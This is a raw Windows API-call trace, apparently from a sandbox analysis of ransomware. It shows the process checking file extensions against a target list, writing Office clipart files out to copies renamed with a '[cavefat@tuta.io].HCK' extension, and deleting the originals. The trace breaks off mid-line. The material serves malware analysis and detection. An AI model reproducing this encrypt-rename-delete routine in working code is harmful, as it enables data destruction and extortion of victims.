lstrlenW (lpString=".1cd") returned 4 [0229.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.054] lstrlenW (lpString=".jpg") returned 4 [0229.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.054] lstrlenW (lpString=".doc") returned 4 [0229.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString=".docx") returned 5 [0229.054] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0229.054] lstrlenW (lpString=".pdf") returned 4 [0229.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString=".xls") returned 4 [0229.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.054] lstrlenW (lpString=".xlsx") returned 5 [0229.054] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0229.054] lstrlenW (lpString=".ppt") returned 4 [0229.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.054] lstrlenW (lpString=".zip") returned 4 [0229.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.054] lstrlenW (lpString=".rar") returned 4 [0229.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString=".bz2") returned 4 [0229.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString=".7z") returned 3 [0229.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.054] lstrlenW (lpString=".dbf") returned 4 [0229.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.055] lstrlenW (lpString=".1cd") returned 4 [0229.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0229.055] lstrlenW (lpString=".jpg") returned 4 [0229.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.055] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.055] lstrlenW (lpString="J0099194.GIF") returned 12 [0229.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.055] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=25265) returned 1 [0229.055] CloseHandle (hObject=0x4a8) returned 1 [0229.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0229.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.056] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.056] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.057] GetLastError () returned 0x0 [0229.057] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x62b1, lpOverlapped=0x0) returned 1 [0229.059] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x62c0, lpOverlapped=0x0) returned 1 [0229.060] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.060] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.060] SetEndOfFile (hFile=0x4c0) returned 1 [0229.060] CloseHandle (hObject=0x4c0) returned 1 [0229.060] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.060] SetEndOfFile (hFile=0x4a8) returned 1 [0229.063] CloseHandle (hObject=0x4a8) returned 1 [0229.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0229.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.064] lstrlenW (lpString=".doc") returned 4 [0229.064] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.064] lstrlenW (lpString=".docx") returned 5 [0229.064] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0229.064] lstrlenW (lpString=".pdf") returned 4 [0229.064] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.064] lstrlenW (lpString=".xls") returned 4 [0229.064] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.064] lstrlenW (lpString=".xlsx") returned 5 [0229.064] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0229.064] lstrlenW (lpString=".ppt") returned 4 [0229.064] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.064] lstrlenW (lpString=".zip") returned 4 [0229.064] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.064] lstrlenW (lpString=".rar") returned 4 [0229.064] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.064] lstrlenW (lpString=".bz2") returned 4 [0229.064] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.064] lstrlenW (lpString=".7z") returned 3 [0229.065] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString=".dbf") returned 4 [0229.065] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString=".1cd") returned 4 [0229.065] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString=".jpg") returned 4 [0229.065] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString=".doc") returned 4 [0229.065] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.065] lstrlenW (lpString=".docx") returned 5 [0229.065] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0229.065] lstrlenW (lpString=".pdf") returned 4 [0229.065] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.065] lstrlenW (lpString=".xls") returned 4 [0229.065] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.065] lstrlenW (lpString=".xlsx") returned 5 [0229.065] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0229.065] lstrlenW (lpString=".ppt") returned 4 [0229.065] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString=".zip") returned 4 [0229.065] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.065] lstrlenW (lpString=".rar") returned 4 [0229.065] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.065] lstrlenW (lpString=".bz2") returned 4 [0229.065] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.065] lstrlenW (lpString=".7z") returned 3 [0229.065] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString=".dbf") returned 4 [0229.065] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString=".1cd") returned 4 [0229.065] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0229.065] lstrlenW (lpString=".jpg") returned 4 [0229.065] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.065] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.065] lstrlenW (lpString="J0099195.GIF") returned 12 [0229.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.067] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19923) returned 1 [0229.067] CloseHandle (hObject=0x4a8) returned 1 [0229.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0229.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.067] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.067] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.068] GetLastError () returned 0x0 [0229.068] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0229.070] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0229.071] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.071] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.071] SetEndOfFile (hFile=0x4c0) returned 1 [0229.071] CloseHandle (hObject=0x4c0) returned 1 [0229.071] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.071] SetEndOfFile (hFile=0x4a8) returned 1 [0229.073] CloseHandle (hObject=0x4a8) returned 1 [0229.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0229.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.074] lstrlenW (lpString=".doc") returned 4 [0229.074] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.074] lstrlenW (lpString=".docx") returned 5 [0229.074] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0229.074] lstrlenW (lpString=".pdf") returned 4 [0229.074] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.074] lstrlenW (lpString=".xls") returned 4 [0229.074] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.074] lstrlenW (lpString=".xlsx") returned 5 [0229.074] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0229.075] lstrlenW (lpString=".ppt") returned 4 [0229.075] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".zip") returned 4 [0229.075] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString=".rar") returned 4 [0229.075] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString=".bz2") returned 4 [0229.075] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.075] lstrlenW (lpString=".7z") returned 3 [0229.075] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".dbf") returned 4 [0229.075] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".1cd") returned 4 [0229.075] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".jpg") returned 4 [0229.075] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".doc") returned 4 [0229.075] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.075] lstrlenW (lpString=".docx") returned 5 [0229.075] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0229.075] lstrlenW (lpString=".pdf") returned 4 [0229.075] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString=".xls") returned 4 [0229.075] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString=".xlsx") returned 5 [0229.075] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0229.075] lstrlenW (lpString=".ppt") returned 4 [0229.075] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".zip") returned 4 [0229.075] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString=".rar") returned 4 [0229.075] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.075] lstrlenW (lpString=".bz2") returned 4 [0229.075] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.075] lstrlenW (lpString=".7z") returned 3 [0229.075] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".dbf") returned 4 [0229.075] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".1cd") returned 4 [0229.075] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0229.075] lstrlenW (lpString=".jpg") returned 4 [0229.076] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.076] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.076] lstrlenW (lpString="J0099196.GIF") returned 12 [0229.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.076] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=14337) returned 1 [0229.076] CloseHandle (hObject=0x4a8) returned 1 [0229.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0229.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.077] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.077] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.078] GetLastError () returned 0x0 [0229.078] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3801, lpOverlapped=0x0) returned 1 [0229.079] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3810, lpOverlapped=0x0) returned 1 [0229.080] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.080] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.080] SetEndOfFile (hFile=0x4c0) returned 1 [0229.080] CloseHandle (hObject=0x4c0) returned 1 [0229.080] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.080] SetEndOfFile (hFile=0x4a8) returned 1 [0229.083] CloseHandle (hObject=0x4a8) returned 1 [0229.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString=".doc") returned 4 [0229.084] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.084] lstrlenW (lpString=".docx") returned 5 [0229.084] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0229.084] lstrlenW (lpString=".pdf") returned 4 [0229.084] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString=".xls") returned 4 [0229.084] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString=".xlsx") returned 5 [0229.084] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0229.084] lstrlenW (lpString=".ppt") returned 4 [0229.084] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString=".zip") returned 4 [0229.084] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString=".rar") returned 4 [0229.084] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString=".bz2") returned 4 [0229.084] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.084] lstrlenW (lpString=".7z") returned 3 [0229.084] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString=".dbf") returned 4 [0229.084] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString=".1cd") returned 4 [0229.084] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString=".jpg") returned 4 [0229.084] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft 